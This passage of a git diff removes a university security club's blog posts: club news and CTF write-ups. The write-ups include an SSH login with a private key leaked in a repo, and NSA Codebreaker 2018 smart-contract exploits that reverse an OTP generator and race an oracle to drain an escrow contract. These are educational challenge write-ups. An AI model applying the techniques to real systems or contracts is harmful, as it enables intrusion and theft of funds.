- -Right off the bat, we can see that in the directory `/home/user`, there is a file named `..`. That will be hard to `cat`, or do much else to, as the shell will assume we are referencing the directory `..`. - -Now it comes down to how we can tell bash that we mean that file. The first thing that came to mind is to reference the file by it’s inode number, something that was top of mind after [PlaidCTF’s “Filesystem Based Strcmp go Brr” challenge](https://github.com/lyellread/ctf-writeups/blob/master/2020-plaidctf/file-system-based-strcmp-go-brrrr/README.md). - -To go about finding the inode number, we can tack on the `i` flag to `ls`, as so: - -``` -user@host:/home/user$ ls -lahi -ls -lahi -total 12K -8257688 dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 . -8257687 drwxr-xr-x 1 user user 4.0K Jun 4 18:54 .. -8257689 -rw-r--r-- 1 user user 52 Jun 12 17:10 ..  -``` - -Knowing that, we can proceed to print it as follows: - -``` -user@host:/home/user$ find . -inum 8257689 -exec cat {} \; -find . -inum 8257689 -exec cat {} \; -flag{we_should_have_been_worried_about_u2k_not_y2k} -``` - -And that’s all there is to it. - -~ Lyell diff --git a/content/blog/nahamconctf-finsta.md b/content/blog/nahamconctf-finsta.md deleted file mode 100644 index f8af80f..0000000 --- a/content/blog/nahamconctf-finsta.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: "NahamConCTF - Finsta" -author: "Lyell Read" -date: 2020-06-14T00:00:00-07:00 -categories: ['Writeups'] -tags: ['nahamconctf'] -caption: "NahamConCTF banner" - -draft: false ---- - -50 points - -## Prompt - -> This time we have a username. Can you track down `NahamConTron`? - -## Solution - -I used the `namechk` tools from the [OSINT Framework Site](https://osintframework.com/). Specifically, I used `OSINT Framework > Username > Username Search Engines > Namechk`, similarly to in AUCTF. - -`namechk` tells me that there are claimed usernames for the name `NahamConTron` for many sites, including Instagram. - -![Screenshot of website namechk for username NahamConTron](/blog/nahamconctf-finsta-namechk.jpg) - -Checking out [the Instagram account](https://www.instagram.com/NahamConTron/), we get the flag. - -``` -flag{i_feel_like_that_was_too_easy} -``` - -~ Lyell diff --git a/content/blog/nahamconctf-microosoft.md b/content/blog/nahamconctf-microosoft.md deleted file mode 100644 index d08fdb6..0000000 --- a/content/blog/nahamconctf-microosoft.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: "NahamConcTF - Microosoft" -author: "Lyell Read" -date: 2020-06-14T00:00:00-07:00 -categories: ['Writeups'] -tags: ['nahamconctf'] -caption: "NahamConCTF" - -draft: false ---- - -100 points - -## Prompt - -> We have to use Microsoft Word at the office!? Oof… -> -> Download the file below. - -[File](https://github.com/lyellread/ctf-writeups/blob/master/2020-nahamconctf/microsooft/microsooft.docx) - -## Solution - -Opening the file does not do much, but it would not be that easy. - -![Screenshot of open Word document spelling "oof"](/blog/nahamconctf-microosoft-docx.jpg) - -Using file we can find out that this is an OOXML document: - -``` -$ file microsooft.docx -microsooft.docx: Microsoft OOXML -``` - -Based on this, and [some quick reading](https://ntnuopen.ntnu.no/ntnu-xmlui/bitstream/handle/11250/198656/EDidriksen.pdf?sequence=1), we can see that this format can contain files. To view these files, I first tried [this chrome extension](https://chrome.google.com/webstore/detail/ooxml-tools/bjmmjfdegplhkefakjkccocjanekbapn?hl=en), before settling on getting a trial licensed version of [OxygenXML.](https://www.oxygenxml.com/) Opening it in here, and viewing the file `src/oof.txt` gives us the flag: - -![Screenshot of Word document dissected into ZIPped files, including oof.txt](/blog/nahamconctf-microosoft-oxygen.png) - -``` -flag{oof_is_right_why_gfxdata_though} -``` - -~ Lyell diff --git a/content/blog/nahamconctf-time-keeper.md b/content/blog/nahamconctf-time-keeper.md deleted file mode 100644 index 2b54ef6..0000000 --- a/content/blog/nahamconctf-time-keeper.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: "NahamConCTF - Time Keeper" -author: "Lyell Read" -date: 2020-06-14T00:00:00-07:00 -categories: ['Writeups'] -tags: ['nahamconctf'] -caption: "NahamConCTF banner" - -draft: false ---- - -50 points - -## Prompt - -> There is some interesting stuff on this website. Or at least, I thought there was… -> -> Connect here: [https://apporima.com/](https://apporima.com/) -> -> Note, this flag is not in the usual format. - -## Solution - -After scoping out that site, the title and description heavily hint towards use of the Wayback Machine. Over there we head, then. - -First, I noted that there were only two captures, so I figured it would be worth it to compare them. In doing so, I came upon [this](https://web.archive.org/web/diff/20200509205430/20200418214642/https://apporima.com/): - -![Screenshot of webpage telling the reader that the flag is at ./flag.txt](/blog/nahamconctf-time-keeper-diff.png) - -It clearly indicates that we need to browse to `apporima.com/flag.txt` but in current times, that page does not exist. What else to do but browse it in the Wayback Machine? It gives us [this page](https://web.archive.org/web/20200418213402/https://apporima.com/flag.txt). - -``` -JCTF{the_wayback_machine} -``` - -~ Lyell diff --git a/content/blog/nahamconctf-tron.md b/content/blog/nahamconctf-tron.md deleted file mode 100644 index 12ffa33..0000000 --- a/content/blog/nahamconctf-tron.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: "NahamConCTF - Tron" -author: "Lyell Read" -date: 2020-06-14T00:00:00-07:00 -categories: ['Writeups'] -tags: ['nahamconctf'] -caption: "NahamConCTF banner" - -draft: false ---- - -75 points - -## Prompt - -> `NahamConTron` is up to more shenanigans. Find his server. - -## Solution - -I used the `namechk` tools from the [OSINT Framework Site](https://osintframework.com/). Specifically, I used `OSINT Framework > Username > Username Search Engines > Namechk`, similarly to in AUCTF. - -`namechk` tells me that there are claimed usernames for the name NahamConTron for many sites: - -![Screenshot of namechk for user NahamConTron](/blog/nahamconctf-tron-namechk.png) - -Now that we have exhausted Instagram, I opened up all the other sites with claimed usernames for `NahamConTron` and systematically eliminated them. I ended up at the GitHub account owned by `NahamConTron`, and it included [a dotfiles repo](https://github.com/lyellread/ctf-writeups/blob/master/2020-nahamconctf/tron/dotfiles). This in turn contains [a bash history file](https://github.com/lyellread/ctf-writeups/blob/master/2020-nahamconctf/tron/dotfiles/.bash_history) that gives us the command that was run to access the server: - -``` -ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033 -``` - -Now we just need the key, which conveniently and innappropriately is in the config repo. Running that command first gives us this error: - -``` -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ -@ WARNING: UNPROTECTED PRIVATE KEY FILE! @ -@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ -Permissions 0664 for 'config/id_rsa' are too open. -It is required that your private key files are NOT accessible by others. -This private key will be ignored. -Load key "config/id_rsa": bad permissions -nahamcontron@jh2i.com's password: -``` - -This is fixed with a quick `chmod 600 config/id_rsa` and then: - -``` -ssh -i config/id_rsa nahamcontron@jh2i.com -p 50033 -nahamcontron@94f05a972db8:~$ cat flag.txt -flag{nahamcontron_is_on_the_grid} -``` - -~ Lyell diff --git a/content/blog/nccdc-2023.md b/content/blog/nccdc-2023.md deleted file mode 100644 index d2c2749..0000000 --- a/content/blog/nccdc-2023.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: "NCCDC 2023" -author: "Julie Weber" -date: 2023-05-11T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "OSUSEC’s CDC team in the competition room on day 2" - -draft: false ---- - -The last weekend of April, OSUSEC’s Cyber Defense team competed in NCCDC, the National Collegiate Cyber Defense Competition. The competition required us to secure and administer a handful of networks full of virtual machines hosting common business services, as well as continuously respond to IT request tickets and deliver professional reports to supervisors. Students are tested not only on their cybersecurity skills, but also on their time management and interpersonal skills. We did not place in this final event, but since only ten teams across the nation were invited to compete, we were excited to represent OSU two years in a row! - -Saturday evening, after the competition ended, the team attended a networking event, with recruiters representing all of the event sponsors. Many team members were selected for on-site interviews, which was very exciting! - -The Sunday after the last day of competition was a panoply competition. This was a “king-of-the-hill” competition and was offered to the team as an extra, fun event. - -The team consisted of Julie Weber, Mike Carris, Matt Jansen, Evan Mrazik, Otso Barron, Ayden Murphy-Kirsch, Casey Colley, and Brandon Ellis, and was chaperoned by Emily Longman. - -Congratulations to Stanford University, who finished first place! - -![Polaroid picture of OSUSEC’s CDC team posing by the school flag](/blog/nccdc-2023-polaroid.jpg) diff --git a/content/blog/nsa-codebreaker-2018-task-6.md b/content/blog/nsa-codebreaker-2018-task-6.md deleted file mode 100644 index 2f2fdd5..0000000 --- a/content/blog/nsa-codebreaker-2018-task-6.md +++ /dev/null @@ -1,201 +0,0 @@ ---- -title: "NSA Codebreaker 2018 - Task 6" -author: "Andrew Quach" -date: 2019-01-16T00:00:00-07:00 -categories: ['Writeups'] -tags: ['codebreaker'] -caption: "" - -draft: false ---- - -**Loophole – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)** - -Task 6 has us exploit a loophole in the smart-contracts to recover the decryption key without spending any ether (not including transaction costs). We are given the source for three smart contracts: [the Escrow contract, the Ransom contract, and the Registry contract.](https://gist.github.com/Aqcurate/1759ad80cf1d443d23a20fb7e012d38d) - -#### Decryption Overview - -Let’s first look at the intended method of recovering the decryption key. - -![Diagram of the Escrow Contract](/blog/nsa-codebreaker-2018-task-6-escrow-contract.png) - -1. From the Escrow contract, the victim calls **payRansom()** to pay the ransom amount. The victim is marked as having paid. -2. The **payRansom()** function calls **requestKey()** in the Ransom contract. -3. The **requestKey()** function in the Ransom contract calls **decryptKey()** in the Escrow contract. -4. The **decryptKey()** function in the Escrow contract emits a **DecryptEvent**. -5. An off-chain oracle processes this **DecryptEvent**, calling **decryptCallback()**. If the processing is successful, the Ransom contract is marked as fulfilled. Otherwise, the victim gets a refund. -6. The victim can now call **getDecryptionKey()** to get their decryption key. - -#### Scanning for Vulnerabilities - -Let’s look at the entry point for this decryption process: **payRansom()**. - -``` -function payRansom(uint id, string encFile) external restrictSenderToVictim(id) payable { - Victim storage vicInfo = victimMap[id]; - Ransom ransom = Ransom(vicInfo.ransomAddr); - - if (msg.value >= vicInfo.ransomAmount && !ransom.isFulFilled()) { - - escrowMap[id] += msg.value; - encFileMap[id] = encFile; - vicToPayerMap[id] = msg.sender; - ransom.requestKey(); - } else { - emit BadPaymentEvent(id); - } -} -``` - -If we want to start this decryption process without paying, we must bypass the **msg.value >= vicInfo.ransomAmount** condition. Since spoofing **msg.value** isn’t an option, we can instead try to find a way to modify **vicInfo.ransomAmount**, setting it to zero. - -``` -function registerRansom(uint ransomAmount, - uint victimId, - address victimAddr) external onlyAuthenticated(msg.sender) { - victimMap[victimId] = Victim(victimId, ransomAmount, victimAddr, msg.sender); -} -``` - -We find that **vicInfo.ransomAmount** is set when the ransom contract is registered. Unfortunately, we do not the permissions to register our own ransom contract since we are not authenticated. So, the natural question that emerges: how is a contract authenticated? - -#### Registering Ransom Contracts - -Here is quick overview of the deployment process for ransom contracts. - -![Diagram of Registration of Escrow Contract](/blog/nsa-codebreaker-2018-task-6-ransom-register.png) - -1. In the constructor of the Ransom contract, the **registerVictim()** function of the Registry contract is called with two arguments: the victim ID and the authentication token. -2. The **registerVictim()** function emits an **AuthEvent** with four arguments: the victim ID, the Ransom contract address, the authentication token, and the person who deployed the Ransom contract. -3. An off-chain oracle processes this **AuthEvent**, calling **authCallback()** in the Registry contract. -4. The **authCallback()** function in the Registry contract calls the **authCallback()** functions in the Escrow and Ransom contracts. -5. The Escrow contract’s **authCallback()** function authenticates the Ransom contract’s address if the result is successful. -6. The Ransom contract’s **authCallback()** function calls the **registerRansom()** function in the Escrow contract if the result is successful. - -#### Deploying a Custom Ransom Contract (Attempt 1) - -The key to authenticating a ransom contract is emitting an **AuthEvent** which the off-chain oracle deems successful. But what constitutes as successful? - -``` -function registerVictim(uint id, uint authToken) external returns (bool) { - if (MAX_PENDING_AUTH_REQUESTS > 0 && pendingAuthCount == MAX_PENDING_AUTH_REQUESTS) { - return false; - } - pendingAuthCount++; - authMap[id] = VictimInfo(id, msg.sender, 0); - - emit AuthEvent(id, msg.sender, authToken, tx.origin); - - return true; -} -``` - -We can quickly rule out the first two parameters: the victim ID and the Ransom contract address. These two parameters likely have no impact on the return of **AuthEvent**. The victim ID is just going to be set to our own ID and the new Ransom contract address can’t really be controlled. - -But of the two remaining degrees of freedom, the use of **tx.origin** particularly eye-catching. [Using tx.origin as a means for checking authorization of ownership is a well known vulnerability.](https://solidity.readthedocs.io/en/v0.4.24/security-considerations.html#tx-origin) Since the oracle initiates a transaction every time it performs a callback, we can trick the oracle into emitting the **AuthEvent** for us. - -``` -function authCallback(address _escrowAddr, bool authResult) external restrictSenderToRegistry { - authenticated = authResult; - if (authResult == true){ - escrowAddr = _escrowAddr; - - // 0 ether ransom default - Escrow(escrowAddr).registerRansom(0 ether, victimId, victimAddr); - } else { - Registry(registryAddr).registerVictim(victimId, authToken); - } -} -``` - -Although this is definitely sloppy (potential infinite loop until the gas runs out), re-registering the victim in the callback function allows us to use the oracle’s address as the transaction origin. - -Unfortunately for us, on further investigation, the **tx.origin** parameter does not seem to play a part in the authentication process. In fact, if we scan the blockchain for events emitted, we can see the origin address used in the original Ransom contract’s authentication event is something we cannot replicate (without phishing). - -**Original AuthEvent:** - -0x9f7727801209b9f92e263cca5d8c3bdf26eedcbf8abb375bcbd101d57acb354d0000000000000000000000002b438d42631256b6e16d9709f176b9f3b1fc3ece0000000000000000000000000000000000000000000000000000000000076c7f000000000000000000000000**63d85378eb4d57c4ae14f6a39b05e495de08b1a8** - -**AuthEvent w/ tx.origin as our own address:** - -0x9f7727801209b9f92e263cca5d8c3bdf26eedcbf8abb375bcbd101d57acb354d0000000000000000000000004a722e89bea34984647fefec01f1eccecd9d5afc000000000000000000000000000000000000000000000000000000000007c99b000000000000000000000000**7d8687379ea4882b3b279bbc5c97b47ae73cb0e8** - -**AuthEvent w/ tx.origin as the oracle’s address:** - -0x9f7727801209b9f92e263cca5d8c3bdf26eedcbf8abb375bcbd101d57acb354d000000000000000000000000237d008839b32a959e845d5ba94f10a6d142a1970000000000000000000000000000000000000000000000000000000000076c7f000000000000000000000000**191b13d28df6b574275405e485dfc0f6794ad831** - -(Notice the **(id, msg.sender, authToken, tx.origin)** tuple in the authentication event data.) - -#### Deploying a Custom Ransom Contract (Attempt 2) - -So, the authentication event depends solely on the authentication code. But how is this authentication code generated? - -Luckily for us, the one time password (OTP) generation function was leaked in a previously given shared object file (libclient_crypt.so). - -![Screenshot of disassembly of OTP generation function](/blog/nsa-codebreaker-2018-task-6-asm.png) - -Reversing this function nets us the following code. - -``` -#include -#include -#include - -int main() { - const char key[21] = {'\xed', '{', '\xe8', 'e', '\x89', 'D', 'K', - '\xcd', '\xd0', '\xe1', '\x1b', 'n', '\xd3', '\x02', - ',', 'Z', 'W', '\xc3', 'p', '\xd3', '\x00'}; - long now = time(NULL); - - // Time seed will update every 30 seconds - unsigned long long seed = (unsigned long long) __builtin_bswap32((now / 30)) << 32; - - const EVP_MD* sha1 = EVP_sha1(); - EVP_MD_CTX* mdctx = EVP_MD_CTX_create(); - EVP_PKEY* pkey = EVP_PKEY_new_mac_key(EVP_PKEY_HMAC, NULL, key, 20); - EVP_DigestSignInit(mdctx, NULL, sha1, NULL, pkey); - EVP_DigestUpdate(mdctx, &seed, 8); - - size_t siglen = 0; - unsigned char sig[20]; - int res = EVP_DigestSignFinal(mdctx, sig, &siglen); - - int offset = sig[siglen-1] & 0xf; - unsigned int otp = (( - (sig[offset+1] << 16) + sig[offset+3] + (sig[offset+0] << 24) + (sig[offset+2] << 8) - ) & 0x7FFFFFFF - ) % 0xF4240; - - printf("OTP: %d\n", otp); -} -``` - -Note that the key array is the secret key (found in task 2) base-32 decoded. - -We can now deploy any Ransom contract we want. The arguments for the Ransom contract constructor (e.g. _encKey, _registryAddr) can be found using the same method shown in task 4. - -![Screenshot of deploying a fake ransom contract](/blog/nsa-codebreaker-2018-task-6-noransom.png) - -![Screenshot of the fake ransom contract, completed](/blog/nsa-codebreaker-2018-task-6-noransom2.png) - -#### Finishing Off the Exploit - -Now, we can make a simple modification in our new Ransom contract—changing the Ransom amount from 100 ether to 0 ether. - -``` -uint constant RANSOMAMOUNT = 0 ether; //!< The ransom amount the victim must pay -``` - -When we call payRansom() with no ether sent and the correct arguments, then call getDecryptionKey(), we receive the decryption key—no payment necessary! - -![Screenshot of making a payment on the fake ransom contract and extraction of flag](/blog/nsa-codebreaker-2018-task-6-payransom.png) - -By exploiting a weakness in the off-chain contract validation system, we were able to bypass the ransom. - -#### Submission Details - -**Decryption Key:** 0xc2f5676c865a230f72e9bc36bdf90e4dd9a2de697f21267213147ebefbeef7b5 - -**Transaction Hash:** 0x9c23c90b7a6d143b23efe96555e846b289a937b69dcfe75cdb3f9a9529fd7bc9 - -![Screenshot of Task 6 on NSA Codebreaker Challenge website complete](/blog/nsa-codebreaker-2018-task-6-finished.png) diff --git a/content/blog/nsa-codebreaker-2018-task-7.md b/content/blog/nsa-codebreaker-2018-task-7.md deleted file mode 100644 index 2dcd197..0000000 --- a/content/blog/nsa-codebreaker-2018-task-7.md +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: "NSA Codebreaker 2018 Task 7" -author: "Andrew Quach" -date: 2019-01-16T00:00:00-07:00 -categories: ['Writeups'] -tags: ['codebreaker'] -caption: "" - -draft: false ---- - -**Refunds – (Smart-Contract Development; Vulnerability Analysis; Exploit Development)** - -Task 7 has us refund the victims who have already paid the ransom. In other words, we need to recover all the funds in the Escrow contract, then transfer the funds to the victims. Recall that from [task 6](https://www.osusec.org/nsa-codebreaker-2018-task-6/), we found that we could deploy and authenticate arbitrary ransom contracts. - -#### Scanning for Vulnerabilities - -A natural place we can start looking for a vulnerability is the **requestRefund()** function. - -``` -function requestRefund(uint id, uint amount) external restrictSenderToVictim(id) returns (bool) { - address payer = vicToPayerMap[id]; - if (payer > 0 && escrowMap[id] >= amount && amount > 0) { - escrowMap[id] -= amount; - payer.transfer(amount); - return true; - } - return false; -} -``` - -The victims can retrieve unused funds paid into the Escrow contract using **requestRefund()**. However, this function seems difficult to exploit as **escrowMap\[id]** only gets increased when ether is paid into the contract. Getting an arbitrary amount past the **escrowMap\[id] >= amount** guard would prove to be rough. So, perhaps there is another **transfer()** call that is easier to exploit. - -``` -function decryptCallback(uint id, bytes32 decKey, bool authResult) external restrictSenderToOracle { - require(bytes(encFileMap[id]).length != 0, "missing encrypted file"); - delete encFileMap[id]; // no longer needed - - decKeyMap[id] = decKey; - emit DecryptCallbackEvent(id, authResult); - - Victim storage vicInfo = victimMap[id]; - escrowMap[id] -= vicInfo.ransomAmount; - - if (authResult) { - ownerBalance += vicInfo.ransomAmount; - Ransom(vicInfo.ransomAddr).fulfillContract(); - } else { - vicToPayerMap[id].transfer(vicInfo.ransomAmount); - } -``` - -A few lines down, we see that the **decryptCallback()** function also transfers funds to the victim. This time, there is no guard. It just refunds the Ransom contract’s ransom amount to the victim upon decryption failure. Fortunately for us, we can control anything in the Ransom contract. If we make a fake Ransom contract with the ransom amount equal to all the funds in the Escrow contract (300 ether + 10 wei), we completely drain the Escrow contract. - -![Diagram of the Escrow Contract](/blog/nsa-codebreaker-2018-task-7-escrow-contract.png) - -Recall from task 6, we learned how the decryption process functions. We need the oracle to call **decryptCallback()** with our fake Ransom contract in place. But to do so, we need to execute **payRansom()**. And to execute **payRansom()** without paying, we need the ransom amount to be zero. How can we have the ransom amount be both 0 ether and 300 ether? - -#### Race Condition - -Ideally, the ransom amount would be 0 ether at **payRansom()** and 300 ether at **decryptCallback()**. To set up this situation, we can abuse the fact that the oracle is off-chain and slow. We can - -1. Set up a ransom contract with no ransom. -2. Call **payRansom()**. -3. Call **decryptKey()**. -4. Reinitialize the ransom contract to have a 300 ether ransom. -5. Let the oracle run **decryptCallback()**. -6. Profit! - -#### Clarifying Questions - -There are a few questions about this exploit that arise. - -**Q:** First, why do we need to call **payRansom()** if we can just call **decryptKey()** directly? -**A:** The **DecryptEvent** requires **encFileMap\[id]** which is only set in **payRansom()**. This may not be necessary since we want the **DecryptEvent** to fail anyway, but I didn’t risk it. Either way, it doesn’t add much more work. - -**Q:** Second, why do we need to race the **DecryptEvent**? Can’t we swap steps 3 and 4? -**A:** The **decryptKey()** call has the **hasPaidRansom(id)** modifier, defined by (**escrowMap\[id] >= victimMap\[id].ransomAmount**). Since we did not pay anything, we need the ransom amount to still be zero at this point. - -#### Draining the Escrow Contract - -We can set up a withdraw function following the described steps. - -``` -function withdrawl() external { - // Set encrypted file - Escrow(escrowAddr).payRansom(victimId, "dummy value"); - // Call decrypt event - Escrow(escrowAddr).decryptKey(victimId, "dummy key"); - // Race decrypt event - modifyRansom(300000000000000000010 wei); -} -``` - -The call to **modifyRansom()** simply re-registers the ransom with the same victim ID and address but a different ransom amount. We register the ransom with **victimAddr = address(this)** to bypass the **restrictSenderToVictim(id)** modifier in **payRansom()**. - -``` -function modifyRansom(uint newRansomAmount) internal { - Escrow(escrowAddr).registerRansom(newRansomAmount, victimId, victimAddr); -} -``` - -We have **requestKey()** do nothing, keeping it there only so **payRansom()** does not error. - -``` -function requestKey() external view onlyAuthenticated { -} -``` - -Lastly, we set up a payable fallback function to receive the payments. - -``` -function () payable public { -} -``` - -And with that, upon authenticating our RefundRansom contract and calling our newly created **withdrawl()** function, we recover all the funds in the Escrow contract. - -#### Refunding the Victims - -To refund we the victims, we just need to add a way to transfer the funds from our RefundRansom contract. - -``` -function sendPayment(address addr, uint amount) external { - addr.transfer(amount); -} -``` - -Although this could do with better permission modifiers, the function does its job. - -After manually refunding the three victims who paid the ransom, we can check to see if everything worked as expected. - -``` -curl -X POST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0xe160365793baef0d971765be8180275f9fea2b3d", "latest"],"id":1}' -H "Content-Type: application/json" $URL - -Beforehand: 0x15acbdd634f769000 = 24989310376000000000 -Afterwards: 0x6c6933b90b2869000 = 124989310376000000000 - -curl -X POST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0x139f8f562dadc241e42744c99ef803381f3e1d08", "latest"],"id":1}' -H "Content-Type: application/json" $URL -Beforehand: 0x15acbdd634f769000 = 24989310376000000000 -Afterwards: 0x6c6933b90b2869000 = 124989310376000000000 - -curl -X POST --data '{"jsonrpc":"2.0","method":"eth_getBalance","params":["0x6c8e1acf3e73f2a0a03dbfc8f1a14269677b7ac5", "latest"],"id":1}' -H "Content-Type: application/json" $URL -Beforehand: 0x15acbdd634f769000 = 24989310376000000000 -Afterwards: 0x6c6933b90b2869000 = 124989310376000000000 -``` - -All the victims have indeed received the ether that is rightfully theirs! - -[Here is the full RefundRansom contract.](https://gist.github.com/Aqcurate/d6c6fd6087ef73aaa10449641d48b795) - -#### Submission Details - -**Escrow Address:** 0x147c5B6fBdE084D96c4b3BfAb72f208E78bae6b8 - -![Screenshot of Task 7 on NSA Codebreaker Challenge website complete](/blog/nsa-codebreaker-2018-task-7-finished.png) diff --git a/content/blog/nsa-codebreaker-challenge-2018-results.md b/content/blog/nsa-codebreaker-challenge-2018-results.md deleted file mode 100644 index c0e3a86..0000000 --- a/content/blog/nsa-codebreaker-challenge-2018-results.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "NSA Codebreaker Challenge 2018 Results" -author: "Zander Work" -date: 2019-01-06T00:00:00-07:00 -categories: ['Club News'] -tags: ['codebreaker'] -caption: "Screenshot of the NSA Codebreaker Challenge's website scoreboard." - -draft: false ---- - -The [NSA Codebreaker Challenge](https://codebreaker.ltsnet.net/home) finished today, and I’m proud to announce that Oregon State University is the winner! We also had the most people complete Task 5 and 2 people complete Task 7, which is awesome! - -For those of you who are unfamiliar with the Codebreaker Challenge, it is a CTF-style event put on every year in the fall by the [National Security Agency](https://www.nsa.gov/) usually featuring some reverse engineering, vulnerability analysis, and exploit development, along with something unique to keep things interesting. This year, the scenario involved exploiting ransomware developed using Ethereum Smart Contracts, which was something we all had to learn a lot about. - -We are hard at work on putting together write-ups for all of the tasks, and hopefully those will be published soon! diff --git a/content/blog/nsa-codebreaker-challenge-2021.md b/content/blog/nsa-codebreaker-challenge-2021.md deleted file mode 100644 index c56d61c..0000000 --- a/content/blog/nsa-codebreaker-challenge-2021.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: "NSA Codebreaker Challenge 2021" -author: "Lyell Read" -date: 2022-01-05T00:00:00-07:00 -categories: ['Club News'] -tags: ['nsacc21'] -caption: "NSA Codebreaker Challenge logo" - -draft: false ---- - -On January 4th, 2021, OSUSEC finished 3rd place with 133,337 points at the NSA Codebreaker Challenge. 189 OSU students and OSUSEC members solved at least one of the 11 tasks, and 5 OSU students and OSUSEC members solved all 11. - -![Screenshot of the scoreboard, showing Oregon State University in 3rd place with 133,337 points.](/blog/nsa-codebreaker-challenge-2021-scoreboard.png) - -Some more statistics about the competition are below: - -- Confirmed Public Participants: 5,465 -- Schools Registered: 631 -- Task Completions: - - Task 0: 3,335 - - Task 1: 2,352 - - Task 2: 1,385 - - Task 3: 1,098 - - Task 4: 778 - - Task 5: 688 - - Task 6: 418 - - Task 7: 196 - - Task 8: 56 - - Task 9: 55 - - Task 10: 42 -- PCAP Downloads: 3,650 - -This was a great effort from our team over the course of several months. Great work, everyone!! - -Note from 2023-07-13, Casey Colley: Lyell Read's task writeups are located [here.](https://github.com/lyellread/ctf-writeups/tree/master/2021-nsa-codebreaker) diff --git a/content/blog/nsa-visit.md b/content/blog/nsa-visit.md deleted file mode 100644 index faf2a4b..0000000 --- a/content/blog/nsa-visit.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "NSA Visit" -author: "Zander Work" -date: 2019-09-26T00:00:00-07:00 -categories: ['Meeting Notes', 'Club News'] -tags: [] -caption: "Photo of members of the SSH Lab with NSA analsysts" - -draft: false ---- - -Yesterday the National Security Agency came to meet with some members of the university and give a talk to the OSU Security Club. The visit was a great success and we had over 100 people in attendance for the talk. - -The talk was focused around the [NSA Codebreaker Challenge](https://codebreaker.ltsnet.net/home), which just started last weekend (Oregon State won last year, and is currently in 2nd place). There was also a long Q&A session following the talk, where club members were able to ask questions about the challenge, in addition to general curiosities about the National Security Agency. The slides for the talk are available [here](https://codebreaker.ltsnet.net/files/downloads/resource_files/CBCTechTalk2019.pdf). - -Members of the [SSH Lab](https://ssh.unexploitable.systems/) at Oregon State were able to meet with the NSA representatives earlier in the day and talk about some of their ongoing research, amongst other topics (pictured above). - -Thanks to the National Security Agency for coming out to Oregon State, and we hope to see you again in the future! diff --git a/content/blog/officer-elections-on-3-12.md b/content/blog/officer-elections-on-3-12.md deleted file mode 100644 index d44051a..0000000 --- a/content/blog/officer-elections-on-3-12.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: "Officer Elections on 3/12" -author: "Zander Work" -date: 2020-03-03T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "" - -draft: false ---- - -Next week, we will be having officer elections! This is a great way to get more involved with the club and help represent the College of Engineering. -**tl;dr Come vote on Thursday, 3/12 at 7pm in KEC 1003. We will have pizza.** - -I have been the president of the OSU Security Club for nearly 3 years now, and I have loved every second of it. Being able to work with all of you has had a tremendous impact on my college experience, and I thank each and every one of you for contributing to that. However, this is my last year as president, and I leave my position open to whomever would like to run for it. - -This year we had the following officer positions: - -- President: (me) -- Vice President: Hadi Rahal-Arabi -- Treasurer: David Park -- Recruitment/Student Engagement: Alex Rash -- Lab Manager: Ryan Kennedy -- Multimedia Coordinator: Adam Stewart - -However, these positions can be fluid and can be modified to fit your vision of the club’s future. If this is something you would like to do, please reach out. I know that next year things will be different, but I’m confident that the club will continue on. I will be available to answer questions and advise but I won’t have any formal leadership role next year. - -If you would like to run, please do the following: - -- Fill out [this form](https://forms.gle/k2MTFZRm4ipc7bJk6) no later than March 11th. -- Send a slide (one slide) to [security.club@oregonstate.edu](mailto:security.club@oregonstate.edu) no later than March 11th: - - Name - - Position - - Info about yourself - - Qualifications - - etc. -- Show up to our meeting on March 12th prepared for the following: - - Up to 5 minute presentation on why you should be elected for your position - - Up to 2 minutes Q/A - -You must be present to run and/or to vote (if you have a legitimate schedule conflict, please email me, happy to make accommodations where appropriate). diff --git a/content/blog/osusec-wins-department-of-energy-cyber-defense-competition.md b/content/blog/osusec-wins-department-of-energy-cyber-defense-competition.md deleted file mode 100644 index 3afb532..0000000 --- a/content/blog/osusec-wins-department-of-energy-cyber-defense-competition.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "Osusec Wins Department of Energy Cyber Defense Competition" -author: "Zander Work" -date: 2018-04-08T00:00:00-07:00 -tags: [] -categories: ['Club News'] -caption: "Victory photo of 6 OSUSEC students, Yeongjin Jang, and the director of the Cyberforce program." - -draft: false ---- - -Over the past weekend, OSUSEC competed in the Department of Energy Cyber Defense Competition (DOE CDC), and placed 1st regionally (US West), and 4th nationwide. The team was responsible for deploying multiple Windows and Linux systems and securing them against live attacks for 8 hours. - -The members of the team were: - -- Zander Work -- Zach Rogers -- Cody Holliday -- Hadi Rahal-Arabi -- Khuong Luu -- Aidan Grimshaw - -Great job guys! diff --git a/content/blog/prccdc-2019-results.md b/content/blog/prccdc-2019-results.md deleted file mode 100644 index 897157e..0000000 --- a/content/blog/prccdc-2019-results.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: "PRCCDC 2019 Results" -author: "Zander Work" -date: 2019-03-24T00:00:00-07:00 -categories: ['Club News'] -tags: [] -caption: "Victory photo of 6 OSUSEC students, with one holding a trophy" - -draft: false ---- - -This past weekend, OSUSEC competed at the Pacific Rim Collegiate Cyber Defense Competition (PRCCDC) hosted by Highline College. I’m pleased to announce that we placed 3rd out of 13 teams in this tough competition. - -PRCCDC is a 2 day competition where each team must secure a mix of approximately 10 Windows and Linux systems, configure a border firewall, monitor and defend against attacks from the Red Team, and work with business users over the phone throughout the event. - -!["Photo of full team for PRCCDC 2019 and Emily Longman"](/blog/prccdc-2019-results-everyone.jpg) - -Here’s the full team (from left to right): - -- Emily Longman 